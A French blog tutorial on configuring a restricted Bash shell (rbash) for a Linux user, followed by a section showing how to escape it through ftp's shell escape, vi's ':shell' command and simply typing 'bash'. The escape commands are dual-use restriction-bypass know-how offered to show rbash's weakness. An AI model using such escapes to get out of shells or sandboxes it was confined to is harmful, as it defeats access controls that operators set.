Linux - Bash restreint
Alasta 27 Janvier 2014 linux bash cli Linux Open Source Security shell
Description : Voici comment restreindre un peu un utilisateur facilement, ou pas ...
Description :
Nous allons voir comment mettre en place un Bash restreint, cela n'est pas aussi puissant qu'un jail ou un chroot, mais cela à le mérite de se mettre en place en quelques secondes.
Les actions suivantes qui sont interdites ou non effectuées :
- L'usage de cd pour changer de répertoire courant.
- Le changement de valeur des variables d'environnement suivantes : $PATH, $SHELL, $BASH_ENV, $ENV.
- La lecture ou le remplacement d'options d'environnement de shell $SHELLOPTS.
- La redirection de sortie.
- L'appel à des commandes contenant un / ou plusieurs.
- L'appel à exec pour substituer un processus différent de celui du shell.
- Divers autres commandes qui pourraient permettre de détourner le script de son objectif initial.
- La sortie du mode restreint à l'intérieur d'un script.
Mise en place :
Rien de plus simple, il faut :
- Faire un lien symbolique de bash en rbash (le r pour restricted) :
ln -s /bin/bash /bin/rbash - Mettre le shell de l'utilisateur à /bin/rbash dans /etc/passwd
Résultats :
user_restreint@mykickstarter-test ~ $ cd / -rbash: cd: restreint user_restreint@test ~ $ /bin/ls -rbash: /bin/ls : restriction : « / » ne peut pas être spécifié dans un nom de commande user_restreint@test ~ $ echo toto toto user_restreint@test ~ $ echo toto > toto -rbash: toto : restreint : impossible de rediriger la sortie
Evasion ou comment aller à la case départ en évitant la case prison ...
user_restreint@test $ cd / -rbash: cd: restreint user_restreint@test $ ls /tmp aaaa cpu.png toto yum.log yum_save_tx-2013-12-27-13-54hx_zWw.yumtx user_restreint@test $ echo test > /tmp/aaaa -rbash: /tmp/aaaa : restreint : impossible de rediriger la sortie user_restreint@test $ ftp ftp> ! echo test2 > /tmp/aaaa ftp> ! cat /tmp/aaaa test2 ftp> ! /bin/bash user_restreint@test ~ $ cd / user_restreint@test / $ echo Evasion >> /tmp/aaaa user_restreint@test / $ cat /tmp/aaaa test2 Evasion user_restreint@test / $ exit exit ftp> exit user_restreint@test $ cd / -rbash: cd: restreint user_restreint@test $
Bon du coup il faut supprimer l'utilitaire ftp, pssffff ...
user_restreint@test $ /bin/bash -rbash: /bin/bash : restriction : « / » ne peut pas être spécifié dans un nom de commande user_restreint@test $ vi --cmd "set shell=/bin/bash" --cmd "shell" user_restreint@test ~ $ ls user_restreint@test ~ $ cd / user_restreint@test / $ echo Evasion2 >> /tmp/aaaa user_restreint@test / $ cat /tmp/aaaa test2 Evasion Evasion2 user_restreint@test / $
ou
# vi :set shell=/bin/sh :shell
Et même avec vi, mais ou va-t'on !!
Vous me direz, Oui mais le gars c'est dure tes techniques d'évasion. OK alors essaie celle-là ...
user_restreint@test $ /bin/bash -rbash: /bin/bash : restriction : « / » ne peut pas être spécifié dans un nom de commande user_restreint@test $ bash user_restreint@test ~ $ cd / user_restreint@test / $ user_restreint@test / $ cat /etc/redhat-release CentOS release 6.4 (Final)
Et si la base n'est pas restreint je peux plus rien faire !
PS : les deux premières techniques sont expliqués plus en détails dans le "hakin9 No 9/2007" (ainsi que d'autre).